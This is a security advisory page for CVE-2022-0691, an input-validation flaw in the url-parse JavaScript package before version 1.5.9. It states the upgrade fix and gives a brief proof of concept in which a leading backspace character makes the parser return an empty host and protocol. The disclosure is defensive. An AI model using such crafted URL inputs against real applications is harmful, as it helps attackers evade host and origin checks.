Improper Input Validation Affecting url-parse package, versions <1.5.9
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.41% (75th
percentile)
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Test your applications- Snyk ID SNYK-JS-URLPARSE-2407770
- published 21 Feb 2022
- disclosed 21 Feb 2022
- credit haxatron
Introduced: 21 Feb 2022
CVE-2022-0691 Open this link in a new tabHow to fix?
Upgrade url-parse to version 1.5.9 or higher.
Overview
url-parse is a Small footprint URL parser that works seamlessly across Node.js and browser environments.
Affected versions of this package are vulnerable to Improper Input Validation due to improper fix of CVE-2020-8124 , it is possible to be exploited via the \b (backspace) character.
PoC:
const parse = require('./index.js')
url = parse('\bhttp://google.com')
console.log(url)
Output:
{
slashes: false,
protocol: '',
hash: '',
query: '',
pathname: '\bhttp://google.com',
auth: '',
host: '',
port: '',
hostname: '',
password: '',
username: '',
origin: 'null',
href: '\bhttp://google.com'
}
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